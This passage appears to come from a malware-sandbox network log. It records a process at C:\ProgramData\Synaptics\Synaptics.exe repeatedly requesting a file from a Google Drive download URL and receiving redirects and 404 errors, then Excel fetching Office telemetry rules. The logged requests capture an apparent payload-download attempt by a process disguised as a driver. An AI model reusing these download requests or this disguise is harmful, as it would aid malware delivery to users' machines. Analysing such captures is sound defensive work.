Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49852	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:54 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-pejf--Y8cmns6ui4VuM6zA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49858	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:56 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:56 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-k_FwfLFQnO5eqko96VvtRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNlETxexndDPb_FzOQT6ST9Fm_tr_Bv8PdW9aETntcvkBUWyjg0oS8MTbc6w00rqalLeEE Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:56 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:56 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6c 38 46 5a 76 50 4b 51 44 56 34 72 38 67 6b 48 52 6c 71 34 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="ol8FZvPKQDV4r8gkHRlq4g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:56 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49857	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:56 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KELRXud1lpqWAI_9csrsRA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49859	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:56 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bRMLAuTkcg1sBhh7sidReg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49860	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:56 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:56 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:56 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-rN8MbyM3N77qicanrjyT7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNgP3vDomyCaNJEBQmn0LZbUnHQ0YET3jPQ8gO7mXOgdgsl3bEmB10o4RgJ559B4Iw9CcM Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:56 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:56 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 58 37 41 47 66 6d 4d 75 71 42 64 33 73 34 76 32 69 58 64 31 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="dX7AGfmMuqBd3s4v2iXd1Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:56 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	49863	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:07 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:01:07 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:01:07 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JsdVEe006W75zfJClCXRDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nM26u-yTT1zNSinbZURANIslBNpbBMEVJC2e9lU8YntPQYenwiqNih-p5H4uW9SXU2P83U Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:01:07 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:01:07 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 36 4f 55 58 66 5f 7a 6e 65 6c 61 6b 55 31 58 50 36 64 63 30 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="O6OUXf_znelakU1XP6dc0w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:01:07 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	49895	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:28 UTC	206	OUT	GET /rules/rule63067v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:28 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:28 GMT Content-Type: text/xml Content-Length: 2871 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:05 GMT ETag: "0x8DC582BEC5E84E0" x-ms-request-id: 368800aa-c01e-00a1-37d0-e67e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100128Z-15c77d89844vdzvh3sm11vze6c00000006zg000000007f4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-05 10:01:28 UTC	2871	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 36 33 30 36 37 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 49 64 65 6e 74 69 74 79 2e 53 73 70 69 50 72 6f 6d 70 74 57 69 6e 33 32 22 20 41 54 54 3d 22 35 63 36 35 62 62 63 34 65 64 62 66 34 38 30 64 39 36 33 37 61 63 65 30 34 64 36 32 62 64 39 38 2d 31 32 38 34 34 38 39 33 2d 38 61 62 39 2d 34 64 64 65 2d 62 38 35 30 2d 35 36 31 32 63 62 31 32 65 30 66 32 2d 37 38 32 32 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="63067" V="4" DC="SM" EN="Office.Identity.SspiPromptWin32" ATT="5c65bbc4edbf480d9637ace04d62bd98-12844893-8ab9-4dde-b850-5612cb12e0f2-7822" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <S>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49898	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:28 UTC	207	OUT	GET /rules/rule324001v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:28 GMT Content-Type: text/xml Content-Length: 513 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:31 GMT ETag: "0x8DC582BD84BDCC1" x-ms-request-id: eada8db2-b01e-003d-5bd0-e6d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100128Z-15c77d89844svxvc0t6dzw70x000000006m000000000aykf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-05 10:01:28 UTC	513	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 31 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 50 72 6f 6a 65 63 74 4c 6f 61 64 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324001" V="4" DC="SM" EN="Office.Extensibility.VbaTelemetryProjectLoad" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49897	13.107.246.60	443	7688	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:01:28 UTC	207	OUT	GET /rules/rule490016v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-05 10:01:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 10:01:28 GMT Content-Type: text/xml Content-Length: 777 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEC2AAB32" x-ms-request-id: bb1cc0a1-701e-006f-6ad0-e6afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20240805T100128Z-15c77d89844fnjjqbfy9rte6mw00000006s000000000g1c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
